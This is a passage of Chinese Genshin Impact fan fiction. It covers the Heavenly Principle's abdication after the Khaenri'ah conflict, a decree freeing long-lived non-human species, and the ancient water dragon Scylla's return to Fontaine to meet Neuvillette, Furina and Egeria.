“听我说,荧,你现在试着使用一下你原本的力量,快!” 荧一时间没有反应过来,下意识反驳:“这里还处在提瓦特内部……等等,你的意思是——” “这下真的就只能够拜托你了!”派蒙深吸一口气,右手按压住伤口,现在她的力量不足,只能用自己的鲜血填补力量上的短缺。一个悬空的庞大阵法顺着她的掌心蔓延开来,金色的光辉充斥着偌大的地下洞窟,也让她们先前一直因为视线受阻而误以为是悬崖的地方终于展现了真颜。 头顶的洞窟不仅有那只大胆兽境猎犬的踪迹,密密麻麻的紫黑色眼睛正死死盯着她们,这些深渊魔物是出自莱茵多特手中、混杂着深渊力量和坎瑞亚生物的炼金半成品,不应该有如此智能的意识。 而下方的悬崖也不是什么悬崖,跟维尔金共事多年的派蒙一眼就认出来崖底深处那紫黑色的裂缝根本不是什么深渊。 那是维尔金的本体的一块残片,书包裹世界的蛋壳! “兽境猎犬本不该有如此强大的恢复力,深渊的魔物不是永生的神,恰好相反,他们只是一群失去一切、只能漂泊着寻找新家园的无知之物。他们的精神很强大,所以驱逐深渊魔物的难点在于净化,而非杀死。”派蒙看向底下仿若胎动一样震颤的裂缝,回过头,兽境猎犬们已经不敢再向他们袭来。 “这是维尔金的本体,是维尔金的本体增幅了这些兽境猎犬,那个被称作「黄金」的女人只是一个搬运工,她也没有办法驱使兽境猎犬,只是这些兽境猎犬在这个环境下本能地亲近深渊气息最浓的人而已。” 坎瑞亚人比她们下来得更早,而能够驱使遗迹巨蛇和各种造物的炼金术士肯定沾染了最浓郁的深渊气息。 那现在这些兽境猎犬们停止攻击—— “还好来得及时——若娜瓦,还好你发觉数量不对,不然我们就要同时失去一名天空岛的悍将和远道而来的友人了。” 熟悉又充满安全感的声音从身后传出来。混杂着深渊魔力的坚冰顺着地面蔓延,将乖巧站好的兽境猎犬们封冻在坚冰之内。 无知的猎犬们需要引领的头狼,只可惜他们朝思暮想的头狼早已投入人类温暖的小窝。 “沉睡吧,我的遗族,无知无智的同胞,愿你们在我的身体里做个好梦。” 悠扬的声音仿若安眠的序曲,原本沉迷于追逐和杀戮的猎犬们安安分分地甘愿被冰封,又主动抛弃了自己的形体,把自己作为深渊魔物的本质融入眼前这个跟「卵巢」一样温暖的同族身体中。 “维尔金!!”派蒙惊喜得几乎要哭出声来,“你怎么才来?我要找维系者告状呜呜……” “派蒙,给我支棱起来,别在外人面前丢脸。”维系者紧随其后,严厉地给自己同僚一个暴栗后,半是安慰地揉了揉已经糯成一团的年幼同事。 “居然试图弑神……坎瑞亚人,这事没完。”若娜瓦用那巨大的眼睛上上下下扫视完、确认派蒙除了用力过猛外加失血过多影响人型状态机能之外并无大碍之后,这位全靠皮套伪装出凶狠感的死之执政恶狠狠地盯着罪魁祸首。 “明明是天空岛一直在对人类说谎。” 自知事情已经败露,也清楚知晓眼下实力差距,「贤者」海洛塔帝干脆破罐子破摔,叫嚣道: “你们自诩为拯救者和统治者,但是本体确实如此丑恶不堪的存在!你们只是一群用华美皮囊包挂自己、欺骗众生的魔神,一群和阴沟里爬出来的外来魔物没什么区别的存在。” “喂!你这种白眼狼有什么好叫嚣的!”派蒙都要恨死这个家伙了,她看得出来,这个坎瑞亚人在他们中应该就是类似于领头的存在。这群人中,只有那个被称作「末光之剑」的坎瑞亚小哥正常一点,其他人全都是极端无神主义和天理迫害人类论的最大簇拥。 维尔金抬手,几人瞬间被强加的重力压得直不起身,准备好好表现一番的若娜瓦闭上即将出口的诅咒,静候上司的发言。 维尔金俯下身,饶有兴致地看着眼里依旧闪烁着不屈和不甘怒火的海洛塔帝问道: “所以呢?既然知道我的本质,那又为什么向古斯托特寻求力量?明明我比他更强,也更好说话,反正求深渊和求天空岛没有区别吧?为什么在天空岛面前高傲不屈,在深渊面前却又卑躬屈膝只为了那点没用的添头与我作对呢?” 维尔金又凑近了些:“你知道古斯托特为什么要你们臣服于深渊吗?” “深渊的主人看见了坎瑞亚人不愿臣服于强权和枷锁决心!”「贤者」海洛塔帝嘴角已经渗出鲜血,却仍然强挺着脖颈,“哪怕这份交易藏了鸩毒,只要能够得知世界的真相、只要能够摆脱七神的强权,一切就是值得的!” “我海洛塔帝,从不后悔向深渊低头!” “真是可怜啊,自顾自地沉迷于自己的妄想,而不去细想已经明了的现实。” 空摇了摇头,给了这个在坎瑞亚王宫时,据说是对妹妹还算得上友善的智者一击重击—— “坎瑞亚人是古斯托特的护身符,这家伙知道维尔金,也就是天理对人类过分的宽容。简而言之,你们就是它的人肉盾牌,要不是古斯托特在世界树的藏身之处被发现——” “你猜,它是会用坎瑞亚拿乔,还是和你们这些愚昧的信徒共同进退?” “不……你这个外来者,你懂什么……” 维尔金叹了口气。 “坎瑞亚……她原本应该存在于须弥地底下,由人类建造且无神统治。其国民包括纯血的坎瑞亚人、拒绝信仰七神而来到坎瑞亚的皈依者和自世界外漂流进坎瑞亚的孩子。” “我说得直白一点,坎瑞亚的构成有人和非人。降临者们也好,以及尚未因为侵蚀而意志丧失、尚未堕落为深渊魔物的外来者们也罢,我需要一个地方容纳这些和我所设定的世界框架不相匹配的人类。” “不过现在我改变主意了。” 荧注意到,维系者和死之执政的眼中流露出一种莫名的……怜悯? 天理的周身无风自动,祂眷恋的触摸这自己的本体,对体内的造物喃喃道: “再见了我的同族们。不要原谅我的自私,也不要宽恕我的背叛,我从不后悔走上一条与你们截然不同的道路,我也从不觉得自己是一个正义、无私、公正的天理。我所做的一切,不过从我体内破壳而出的无私小鸟的遗志,祂热爱人类,我便热爱人类;祂希望世界美好,我便让世界以祂的意愿美好——” 空也一愣,本能告诉他维尔金好像在说一些在胜利后显得格外奇怪的话。 “一开始,我并不打算毁灭坎瑞亚,我宁愿大费周章地把一个本不应出现在地上的国家从靠近世界树枝桠的地方挖出来,再放到我眼皮子底下监视,但显然,这个决定再度验证了一个道理——既定的未来并不会因为地址的变迁而改变。” 维系者补上总结:“记吃不记打。” 维尔金看向还躲躲藏藏试图隐匿身形的若娜瓦。 “若娜瓦,我知道你在纳塔做了一些小动作。嘴上说着想给坎瑞亚人一些教训,究竟是真的想要杀鸡儆猴,还是想拿惩戒坎瑞亚的功去抵你在纳塔一些小动作造成的影响也好,我也不管了。” 被点名的死之执政浑身一抖,默默点头。 “至于维系者,以后你就是天理了——” “想都别想。”维系者断然拒绝了上司撂摊子无异的可恶行径,然后找补一句,“我会继续给你打下手,处理那些乱七八糟的事务。但要是再提被这破差事丢给我来干的话……我可要学习伊斯塔露的优良作风直接自我封印为提瓦特大陆补充能量了。” 维系者半是严肃半是开玩笑的拒绝并没有起到任何作用。 包括她在内的所有魔神都很清楚,只要维尔金仍然是天理,只要祂仍然高居王座、统治天空岛,长生种就不可能从暗之外海出来。就算以天理的身份发布赦令,经历过数千年前那场残忍屠杀的长生种们只会理解为这又是天理对他们的一次试探。 而现有的人类一家独大的局面已经有无数次重置侧面映证出无法继续维系。维尔金当然可以舒舒服服地裹上被子猫在天空岛上安然入睡。外来的降临者不是他的对手,沉寂的尼伯龙根被连龙带家一起扔出提瓦特,深渊的魔物们还在期待他回心转意从内部给提瓦特来一个反戈一击,他是最没有理由担 心、却是最为所有人担心的那个存在。 所以说,爱,的确是枷锁。 如果不爱人类,这一蛋一鸟恐怕可以过上肆意散漫的生活,而不是像现在这样,为了维持提瓦特放弃如此之多的东西。 “想来想去,只有你了。” 这是实话。 维尔金不想再去试探手底下魔神的忠诚度,祂也乏了。 “彻底封印掉有关坎瑞亚和深渊的一切后,我会静候世界的死亡。希望在下一个世界终结到来之前,你们能够一直安眠于此。” 安排完一切后,维尔金挥了挥手,一头钻进裂缝里。 “维尔金……他还好吧?”空担忧地看向维系者。 “坎瑞亚给他的打击比我想象的要大。”维系者望着紧闭的蛋壳出了会神。 “原以为,他会至少等到五百年后再计划退休事宜的……” “可能是终于意识到这偌大的提瓦特就是一个烂摊子了吧。”若娜瓦感慨,“有时候真是给权能也不是,不给也不是啊!” 维系者眼睛一眯:“……等等,若娜瓦,你又在纳塔干了什么?” “……我借给希巴拉克了一份关于「死亡」的权能,总而言之,是为了以防不备之需……”因为心虚而错开维系者视线的若娜瓦连裸露在外的鲜红魔眼都平白增添几分理亏感。至于解释也是苍白的不能再苍白。若娜瓦的声音越来越小,最后自暴自弃地嘟囔道:“还不是怪维尔金,之前的命令总是自相矛盾,又让我们向人类伸出援手,又不让干这干那,还要盯着深渊异动……” “下不为例。” 若娜瓦却迟疑了:“不用意思意思发我关个禁闭之类的吗,维尔金会不会觉得你不太负责任?” “没那个必要。” 维系者说道。 “从法涅斯到维尔金,包括我们在内的所有人,都陷入了一个致命的误区。“”我们总以为将一切危险排除在人类的花园之外,他们便能够如法涅斯所希望地那样在这片乐土永远生活下去,但事实证明,绝对的保护会引来猜疑,独裁的统治会招致反叛。如果框定的世界依然失去了未来,只剩下无限重置和回溯,那这个世界、我们所做的一切无疑是失败头顶的。” 地层渐渐抬升,裸露出初生的朝阳。 风带来种子,时间使之生根发芽。 “地脉啊,将消息播散至地上,从天空到深渊,从暗之外海到陆地王国,从今往后,提瓦特将是所有物种的提瓦特。一切被驱逐、被屠戮、被放逐、被限制的「不从属于深渊的生命」,都将有权共享每一份阳光和雨水——” 新任天理的赦令顺着风吹向了暗之外海。 这里是非人类长生种的苟且之地,亦是失去一切的败者的最终归宿。 “虚假之天承认了长生种的存在价值吗……” “是骗局,然后要把我们引出杀光吗?” “可是磨损的威能依然存在……” “维系者亲自发话,她好像不爱玩战术……” 此起彼伏的热切讨论将平静的暗之外海重新翻腾起来。 有些长生种还觉得这是天理跟维系者老调重弹的钓鱼执法,但已经有胆子大的海兽试探性地将触须伸出暗之外海大的边界线。 一根,两根,然后是连接着触须的半个身子,接着是整个身体—— 天空一片寂静,没有挥舞着利爪前来制裁它们的虚假之天,亦没有从天而降的判罚之钉。 欢欣,庆贺,赞美,奉承—— 天理加诸于非人类长生种的枷锁,终于在暗无天日的千年之后解开了!—— 作者有话说:逆天的石墨没有同步,重新粘贴了一下 第99章 第 99 章 古龙遗老和新任龙王要竞…… 无边无际的黑暗构成了维尔金沉睡的大部分时光, 梦里没有永远都看不完的文书和做不完的工作,耳边不会有维系者絮絮叨叨的催促,也难得能够真正地放松下来, 享受一下来之不易的清闲时光。 在难得安静祥和且不用担心任何事情的放松中, 维尔金难得睡了个好觉。 所以当久违的尖啸和晃动感出现在维尔金意识中的时候, 维尔金不但没有表现出一些的比较符合他危险名号的起床气, 反倒是冥冥之中突然有了一种“啊, 该来的还是来了”般脚踏实地的确切感。 于是维尔金从容地翻了个身,选择性忽略掉这阵不合时宜的刺耳声—— 如果是有什么关乎提瓦特安危的大事,维系者会把他一把从睡梦中拽醒,但既然外面的声音听不出来多大威胁…… 看来不是什么大事。 而站在维尔金本体之外的来者也如维尔金所预料的那般,并非是来自天空岛执政官们, 而是一神两龙。 准确的来说,是一位继任的水神、一条没有拿回权柄的水龙王和以水形幻灵形态出门的水龙蜥王。 非常神奇的配置,使芙宁娜有一种会被严厉的上任上司一巴掌拍飞的恐惧感。 也怪不得芙宁娜从进入遗迹开始就仔仔细细地观察四周, 生怕动静稍大一些把遗迹中心沉睡的前任天理惊醒。 芙宁娜心惊肉跳地看着不断摸索天理沉眠之所两条龙, 压低声音说: “别……先别乱动!你们快看看!天理的封印好像要压不住了喂!!传说中的前任天理可是一位杀龙不眨眼的狠角色,要是祂还好梦中杀龙的话我可怎么跟厄歌莉娅前辈交代啊……” 芙宁娜惊恐地看着以肉眼可见的幅度向那维莱特挪动了好几公分的漆黑巨蛋。 此时此刻,这位偷偷跟着两条水龙一起溜出枫丹境内的现任水神格外懊悔自己私底下偷偷摸摸离开枫丹、又不向天空上报的行径, 只能心虚地提议:“那个……要不我们还是先上报我们的行踪给派蒙?至少她看上去比面无表情的现任天理和从来没见过面的若娜瓦要好说话一点……” 回答芙宁娜的是沉重的石门与岩壁亲切的碰撞声, 自那场潜藏于夹层的石门。 据说出动了天空岛所有执政官的坎瑞亚战争平息后, 新任的天理大人在昭告世人无神之国坎瑞亚犯下的罪孽后便将其地下永久封印起来。 那维莱特手指划过门扉, 来自于四影执政的力量向这位试图暴力冲卡的不速之客发起了供给。浓烈的死亡之气袭向他, 却又在感知到芙宁娜的气息后消弭于空气。 “若娜瓦的不死诅咒。”斯库拉一眼就看出来这道暗桩出自谁的手笔,“估计是战后诅咒坎瑞亚人随手留下的附赠品。” 五百年前发生在这片土地上的灾厄及其后续影响几乎改变了整个提瓦特。 在这之前,非人类长生种这一庞大族类只能或是蜗居于暗之外海,或是陷入沉睡以保全自身, 提瓦特毫无疑问是人类的乐土,哪怕是贵为尘世七执政的魔神,身上也加诸于来自天理的诸多枷锁,人类一家独大,独享世界。 而坎瑞亚灾厄爆发之后,前任天理心灰意冷决定放弃人类,选择将权利交于祂最忠诚的副手维系者,并直接于这片毁灭之地陷入沉睡,将一切交于执政官们处理。 死之执政若娜瓦对染指深渊的坎瑞亚人降下诅咒,时间之执政派蒙则赦免了不知情的人们,新任的、不知名姓的空间之执政更是将偌大一个提瓦特大陆上所有连通着深渊裂缝的地点尽数封印——包括芙宁娜在内,诸多魔神与长生种们都十分好奇他们怎么会对深渊的痕迹了如指掌,但见多识广、亲历尼伯龙根携手深渊力量归来却依旧惨败、并且亲身参与过波及了整个大陆的魔神战争的斯库拉知道,新上任的那两个执政官绝对跟深渊脱不了干系。 在当时这位囚于深海多年的水龙蜥亲王经过一天一夜的独立思考,在梳理完整个来龙去脉之后,得出了一个非常大胆但是极其保真的结论——这是一场欺瞒了整个提瓦特大陆的谋权篡位!! 首先,虚假之天有多喜欢法涅斯带来的人类就有多讨厌土生土长的长生种们,这个事实大家都是有目共睹。从属于天空岛的侍女们尚且能够因为一位天使长的过错波及到整个族群,再到一整个尼伯龙根被连根拔起,以及后面针对长生种们的驱逐、甚至说屠杀都不为过的种种行为来看,虚假之天,不像是一个能够听进劝谏、又能够罪己诏的存在。尤其是天理换任这么大事情,居然只是让维系者,也就是现任天理大赦天下、并且补上一个新任执政就这么翻篇…… 直觉告诉斯库拉,事情绝对没有那么简单。 但是对于苦于被封印于旧日之海中,□□已经消亡,仅余精神力量的斯库拉而言,他能做的,也只有在水底下干急眼而已。 枫丹的水域与外面的世界并不相连。 在斯库拉绞尽脑汁思考,自己究竟还有几个活着的同族或者魔神战争期间认识的朋友时,一条老熟龙带着一个陌生神明闯入了旧日之海。 是阿佩普这个复国党大佬叽叽喳喳的声音顺着洋流传入旧日之海。 斯库拉大喜过望,当下也顾不得思考一条草龙为什么进入水龙的地盘,大老远就迫不及待地用灵露形态寒暄道: “阿佩普大人,多年不见,看来您过得还不错……” 被同族喊出来的阿佩普嫌弃地别过头,教育起站在自己尾巴尖上的纳西妲: “纳西妲,看见了吗?这就是随随便便相信人类并且给他们打下手的下场!人类比那个狡诈的天理还要不可信,一旦随随便便付出信任好好帮他们办事,等待你的就只有被他们狠狠背叛!一定给我记住这个反面教材!!” “……阿佩普大人,雷穆斯是魔神,而且雷穆利亚人并没有对我做什么,他们只是被福波斯的声音迷惑了心智……” “还增加一条。”阿佩普语重心长地对才只有五百岁的小草神说道,“你还小,千万要记得不能变得像斯库拉一样,善于将错误归咎于自己,而不是理性客观地分析各个原因。你看维尔金那个家伙就是前车之鉴,纳西妲,你可是我阿佩普亲手从世界树上折下来的树桠,你要相信,你会做得比那两个脑子从来都不正常的没用魔神做得好得多,甚至超越布耶尔。” “阿佩普大人……”这是可怜兮兮的教学材料。 “阿佩普,他看起来好像有话要说?” 还是心地善良的纳西妲好心地为完全没有机会插一句话的斯库拉提了一嘴,没想到阿佩普只是不悦地瞄了一眼可怜兮兮地只能用灵露显现精神体的斯库拉,又恨铁不成钢地教育起过分好心地小吉祥草王:“纳西妲,你可一定要记住,外面的龙都不是什么好东西,不是所有龙都像我一样心善又有编制。” 被暗戳戳点到的斯库拉:…… 这……难道几千年过去,提瓦特的风水改变了这么多吗?还是说地面上现在污染比较严重? 也是,不然怎么大赦长生种,原来是想着用他们的元素力填补一下空气中越发稀薄的力量,均衡一下提瓦特环境。 自觉发现真相的斯库拉总算放下心来,看向阿佩普的目光也从淡淡的无语变成了充满敬意的星星眼。 如果是心地善良阿佩普大人,一定会救他出去的! 如果可以,斯库拉并不是很想麻烦厄歌莉娅,她已经够辛苦的、够可怜了,让她夹在自己跟天空岛之间也未免太过难办。 斯库拉不怎么喜欢麻烦朋友,厄歌莉娅更是如此。 但对于天空岛……虽然当初看守并监禁厄歌莉娅是天理交给他的任务,虽然后来厄歌莉娅本人也获得了天理的允许成为了尘世七执政之一,但是斯库拉本能的不想让胎海的心脏看见如此无力的自己。 他也不想跟天空岛做交易——他真的害怕哪天发现这又是一个摸不着头脑的禁锢。 “斯库拉,难道尼伯龙根的远去让你连基本的礼仪都忘记得一干二净了吗?”阿佩普教训了几句,随后缓和了一下语气,替水下这个信息不通的龙族好心解释了一番现在的情况,“虽然维系者那家伙赦免了长生种,但由于古龙的数量和威慑性……总而言之,那个麻烦的女人始终坚持使用维尔金时代留下的老规矩,水之遗族的同僚啊,你需要为自己找一位留在尘世的执政魔神,并且成为祂的眷属,才能如我和若陀一般畅通无阻地行走在大地之上。” “那应该问题不大。”斯库拉松了一口气,毕竟同厄歌莉娅相识多年,也算是有那么一点交情,她应当不会拒绝帮一把自己的老相识。 “恰好相反,现在有一个大问题。”阿佩普看向一无所知的同类,心生怜悯,“纳西妲,之前的规则有提到一个神可以有两条龙作为眷属吗?” 纳西妲摇摇头。 阿佩普沉思:“以往的规则没有提及,毕竟那位大人也没有想到后面发生的一切吧。还有,厄歌莉娅现在被调岗到世界树核心支援布耶尔了,新任的水神芙卡洛斯你可能还不太熟……好消息是,她对龙类没有什么偏见,也不存在深仇大恨,大概会很乐意助你重见天日,但坏消息是,她手底下有一条叫做「那维莱特」的水龙,现在是一神之下万人之上的审判官。” 斯库拉歪头,这头离群的龙蜥之王远离规则和权力太久,哪怕老前辈阿佩普提点至此,他仍然没有完全意识到她话中所蕴含的深意。 “总而言之,斯库拉——” 阿佩普为旧时代的龙蜥宣告了新时代的残酷: “你貌似需要和你的新任龙王大人竞争上岗了。” “并且,由于内部调岗,厄歌莉娅这回爱莫能助。” 第100章 第 100 章 这年头连深渊物种都能…… 省略掉途中为了联系上现任水神芙卡洛斯绕的巨大圈子和艰辛, 并且抛开斯库拉和那维莱特之间究竟是应该以同事相称还是龙族之间的王与亲王不谈,总而言之,在阿佩普看热闹般的帮衬和厄歌莉娅的努力下, 斯库拉成功利用自己两千年前的人脉正式重归提瓦特。 ——准确来说, 或许是“神”脉才对。 选择性遗忘掉因为兴奋过头, 导致用原始胎海水凝成的庞大身躯险些一个滑铲一头攒上欧庇克莱歌剧院、以及被误以为是预言跳过前面几个步骤提前降临的那维莱特直接镇压回内海这种小问题之外……似乎也算平安无事。 神经线极粗的枫丹人在讨论了一会“审判官大人用石子击穿枫丹地下水的虚假新闻”之后, 在审判庭的遮掩下, 无人再在意这突兀却又极快被解决的异象。 不过话又说回来,斯库拉撞上歌剧院能算作变相实现了预言中的“淹没枫丹”吗? 经过芙宁娜本人缜密的对比思考后,她遗憾地否决了这个美妙的可能。海水并未淹没枫丹,泪水也不曾从神明的眼中流下,来自天理的预言不可能会如此轻易被规避。厄歌莉娅和芙宁娜已经为了预言中的危机做了充足的准备, 神明的生命很长,她们会继续等待,直至预言中的一切全部应验、枫丹的隐患全部解除。 预言的事情暂时不需要着急, 现在的重点是如何解决斯库拉的安置问题。 缩小了形态的斯库拉在美露莘们举着的镜子前端详这副新奇的身躯, 庞大的古龙蜥从未以如此矮小的姿态观摩这个世界。举着镜子的美露莘张着大大的人眼睛,对这位与远古又新奇的朋友投来好奇的目光: “大大的鲸鱼,以后你也会留在枫丹庭, 为芙宁娜大人和那维莱特大人工作吗?” 小美露莘从镜子后探出脑袋, 在她们的视野中, 大大的鲸鱼先生有着与那维莱特大人相差无几的气息。但跟那维莱特大人不同的是, 大大的鲸鱼先生很容易大惊小怪, 看见她们的时候还往后挪了几步。 “等等,为什么她身上会有深渊的气息!” 斯库拉倒吸一口凉气,见多识广如他虽然能够一眼看穿美露莘们的来历,但是还是被枫丹疯狂的现状彻底震撼到。已经跟不上时代的他万万没有想到, 厄歌莉娅的继任者居然大胆至此,不过这也侧面印证了一个事实: 天理确实脾气好了不少。 当然也不排除祂这次睡厥过去的没空管地上的因素。 在这头见识过天理威光的老龙蜥王眼里,放任深渊的衍生物种在人类的王国里修养生息显然无异于背叛。不过仔细想想,连他出来惹那么大的乱子都没有挨天钉一顿猛砸,美露莘这样普通又危害性不大的长生种,应该更不会受到限制才对……要是没有蕴含有深渊的力量就好了。 这样小巧、可爱、温柔又善良的物种,为何身上流淌着生来属于这个世界所有生命的死敌的鲜血呢? 斯库拉不由得为她们而感到悲伤。深渊魔物的宿命是被虚假之天及其麾下的七神湮灭殆尽,这样可爱的长生种,难道在这个长生种们好不容易迎来的光辉时代也无法产长长久久的生存吗? “身上有深渊的气息也不是美露莘的错。她们无法选择自己从何处诞生,亦无法抉择自己身体中流淌着谁的血液。哪怕是她们的造物主,也不过是另一个错误的结果。”厄歌莉娅怜爱地看着懵懵懂懂的小美露莘,水域的女神轻柔地将掌心置于她的头顶,小美露莘的眼睛眯起一条半月形的缝隙,看起来无比享受。 “她们出生时是一张白纸,是那维莱特将他们带到地面。枫丹的居民们最开始排斥这些小家伙们,但是美露莘的善良和友好依旧打动了他们。时至今日,美露莘已然成为了枫丹庭的重要组成部分,成为了我们无法分割的一份子。” 厄歌莉娅对自己的老友说道: “亲爱的斯库拉,我比谁都明白你的顾虑,但是你希望你相信那位的承诺,他从不食言。” “——没错,祂从不食言。就像当年我们居然异想天开地认为,祂那居高临下的狂妄之言不过是一介自大者的不知死活,却没能想到祂居然单是凭借个体的力量就将海水烤干、沙漠淹没,连永恒的火焰都被祂扑灭。祂不会浪费心思在我们这些弱小的蚂蚁身上,只是,我仍拥有一个顾虑……难道祂被人类伤心得已经到连深渊都容忍了吗?” 斯库拉终于忍不住问起从见到美露莘第一眼起就一直萦绕在自己心中的那个问题: “如果虚假之天已然伤心至此,我建议物,我等应当迅速离开天空岛的统治范围。深渊的魔物不足为据,它们最多不过是将这片大地蚕食,直至一切归于虚无,可天理的疯狂会让这个脆弱的世界陷入永无止境的癫狂,直至世界的力量被消耗殆尽,亦或是我们全部成为祂心心念念的法涅斯所复活的祭品。” “请不用担心,美露莘们不是那种危险的魔物。准确来说,她们甚至不能算是深渊的一份子。至于维尔金大人,这个更不用担心,虽然我不太清楚祂千万年前给大家留了一个什么印象……但是至少天空岛的现任天理,即前任空间之执政,天理的维系者本人反正是认可了龙在大陆上享受自由与天空的权力。” 那维莱特简明扼要地概括了一番美露莘的来历以及那头名为「厄里那斯」的炼金术士造物、还顺带科普一下一切灾难发生的缘起—— 坎瑞亚。 斯库拉恍然大悟: “也就是说,人类的王国自己作死,不仅抽取地脉榨取大地的生机,还践踏了虚假之天的唯一底线,图谋深渊力量就算了,还打开了深渊裂缝引狼入室?” “不仅如此,坎瑞亚王国的炼金术士「黄金」莱茵多特还创作出诸如为「淋溶层」、「腐殖层」的人造类深渊魔物,给不少国家都添了很大的麻烦。”阿佩普一边给宅在海底与世隔绝的同族科普,一边毫不留情地锐评起罪魁祸首的坎瑞亚贵族们:“不作死就不会死,现在人类的生存范围不断收窄,也就尘世七执政治下的城邦才能勉强保持和平安定……失去天空岛之主偏爱的人类,斯库拉,这可是千年难得一遇的好机会!光复龙族遗辉的千年大计已经尽在眼前……” 芙宁娜夹在两条水龙和一条草龙的聊天朝着谋逆的方向狂奔而去,一时间欲言又止。天理在上,她可从来没想过枫丹预言中的灾难到来之前,小小的枫丹廷居然会塞下三条龙,甚至还包含有两条元素龙王。 好尴尬,厄歌莉娅大人怎么还不说话? 似乎是感受到了芙宁娜心底的呼唤,厄歌莉娅出声感慨: “命运,很奇妙吧?” 斯库拉无比赞同: “这简直比天理陷入沉睡、长生种被允许重归大地更加令我震撼。” 居然连阿佩普大人也重归地表,斯库拉不禁由衷感慨命运的奇妙。他曾经在深海里悲观的认为,既定的命运无法更改,他也曾亲眼见证不愿屈从于命运的雷穆斯最后将灵与肉悉数奉献给扭转既定命运的执念,然而覆灭的雷姆利亚和疯狂的大乐章已经向他们展示了既定命运的恐怖。 因而,斯库拉从未想到,有一天还能重见故人。 在他的想象中,最幸运也不过是在世界毁灭的前夕、命运节点松动的刹那,在众生被残忍的虚假之天投入到提瓦特这一早已死去之世界补充养料的熔炉之时再度见面。 可如今,他不仅活着见到了故人厄歌莉娅,还见到了新生的水龙王。虽然新生的龙王尚且懵懂,还未荣归故里夺回属于自己的权能,但能见到熟悉的一切,斯库拉就几乎感动得落泪。 他已经不记得上一次有同族和友人呼唤他的名是多少年前,那点隐秘的忐忑和不安终于消弭,顺着蒸发的水汽被一阵阵清润的海风带走。 活着真好。 虽然世界变化大得让这位长者有些许怀疑自我,虽说权能尚未夺回,但斯库拉已经对此相当满足。新生的王对自己的力量和本能一无所知,连带着将过往的荣耀和被击落烧灼的炙烤也一同忘却。 起码在斯库拉看来,将那些耻辱的、痛苦的、悲伤的回忆全部望去,以一个崭新的身份生活在人类之中,对新生的水龙王来说,说不定也并非一件坏事。 斯库拉甩了甩尾巴,静静地听着厄歌莉娅、芙宁娜和那维莱特讲述着这两千年枫丹的历史和天空岛的变化。 好消息,千年后的提瓦特对水族颇为友善。 坏消息是,友善的地方不太对劲。 刚刚还顺便被简单科普了一番枫丹人的由来以及为何被那维莱特一个巴掌拍飞后,斯库拉在漫长的龙蜥生中第一次对物种隔离和人类婚配产生了认真的思考。 为什么纯水精灵可以生出人啊?? 为什么纯水精灵没化形成为人类还能够跟人类互相喜欢上的啊? 这对吗? 难道这就是天理偏爱人类的原因吗?斯库拉不明觉厉,只要有个形似人类的皮囊就能结婚生孩子?斯库拉不明觉厉,但也明白了那维莱特其实已经相当克制—— 枫丹境内的纯水精灵人如此之多,还有虚假之天的可怖预言宛若一柄生锈的镰刀架在神明的脖颈。扪心自问,如此大的压力下,拍飞自己实属人之常情。要不是有阿佩普从中解释,又麻烦隔壁国家的草神火速联系上外调到须弥沙漠地区净化深渊污秽的前任神明厄歌莉娅,他们或许还会再过上几招。 只是,火速赶来的厄歌莉娅给了他一个大大的拥抱,随后毫不避讳地向人型的、一无所知的新生水龙王介绍时,斯库拉产生出来一种非常别扭的感觉。 “这是斯库拉,是枫丹建立之前就已经存在的水龙蜥王哦!斯库拉,这是那维莱特,四百年前就应芙卡洛斯的邀约前来任职枫丹的大审判官,以后可要跟同族好好相处哦!” 更加别扭了。 斯库拉说不上来这是因为明明是重获自由的古龙蜥王前来觐见他的新王,但是却是由厄歌莉娅介绍而产生的诡异别扭感,还是因为当古老到应该死去的久远生物乍然出现在新世界的别扭感,一股恍惚又缥缈的感觉从他纯水的心脏蔓延至他已然干涸的眼眶。 太阳照射到原始胎海水凝成的表皮时,斯库拉,如潺潺小溪的泪水顺着透明的巨大鲸鱼的身体流淌了下来。他有一种错觉。好像古龙们还没有被虚假之天击溃,好像他们还拥有地上的一切,好像那些失去的朋友、那些失败的记忆不过是一个被梦境魇住的可怜古龙在睡梦中的喃喃自语,好像一醒来,雷穆斯依旧会同他畅谈须弥故都的炎日和绿意,伟大的龙王依旧带领他们畅游有水之处的每一个角落,厄歌莉娅挥手向他告别,天理的愤怒不曾降临。 记忆中的祂何其恐怖,斯库拉脆弱的心脏就有多么的无法落到实处。 他太害怕了。 他也曾直面天上高居御座之神明的威光。海龙蜥王的肌肉记忆仍然留存着对天空岛之主的恐惧,他不愿意、也不敢去相信那样一个残忍又冷酷无情的神明会是如今友人和新王口中通情达理、仁慈强大的君主。 斯库拉宁愿相信这是虚假之天酝酿的有异常巨大的阴谋,为的是让他们这些蜗居于阴沟和远遁去暗之外海的胆小鬼们一网打尽。 虽然地上的同类和七神似乎依然接受了维系者的谎言和虚假之天的施舍,但是斯库拉相信,一定有许许多多如他一样记得昔日虚假之天手段如何残忍、对非人种如何无情的长生种还在怀疑: 这是否又是虚假之天为了除掉他们、把所有长生种的血肉化作供给这片脆弱又看不见未来的土地的前奏? 厄歌莉娅看出来这位曾经看守原始胎海心脏之守护者的不安。作为前任水神兼现任世界树诸多看护神祇之一,初代的神明很乐意为她跟不上时代的老友科普一下目前老上司的精神状态: “不用担心,祂玩不来阴谋诡计,也犯不着对我们用阴谋诡计。只是被人类搞得略有些破防,目前在用沉睡来逃避现实罢了。”《 》 100-110 第101章 第 101 章 类似于正式编转村口情…… 啊?逃避现实?这是在说谁?天理吗? 祂本人知道祂在逃避现实吗? 斯库拉搞不懂厄歌莉娅的脑回路。被背叛难道是什么很值得虚假之天痛苦的事情吗? 背叛于祂而言不过是家常便饭, 惩戒更是比眨眼还要轻松的本能,又不是没有毁灭过人类的王国,又不是没有被麾下的魔神背叛过至于如此大惊小怪吗? 退一万步讲, 就算真的难受到“破防”的地步, 那就像祂当年对待长生种们那样继续去对待人类不就行了。杀光他们, 余下的人类总会认识到实力的差距心甘情愿地接受祂施舍的条约。人类如此渺小脆弱, 总不会比亘古的龙王和长寿且拥有更为强大力量的长生种们坚持得更就吧? “所以说祂变了很多嘛。两千年前, 祂定会降下判罚的天钉,将无神之国的罪人变作无知无智的怪物,将这段错误的历史封印于死寂与冬雪之中,但四百年前祂没有这样做。祂隐去了自己的怒火,将权力和事务交由维系者, 甚至还将容许了主动长生种们的回归。” “斯库拉,没有什么是一成不变的。” 毫无底线的偏爱在一次次的失望中逐渐被消磨,哪怕是作为敌人, 斯库拉也不由得为这位头号大敌扼腕感慨。 哀莫大于心死, 想来天理没个几千年应该是疗愈不好内心的创伤了。 那这可真是一个天大的好消息! 这下斯库拉彻底放心,整条龙蜥看着都精神了不少。 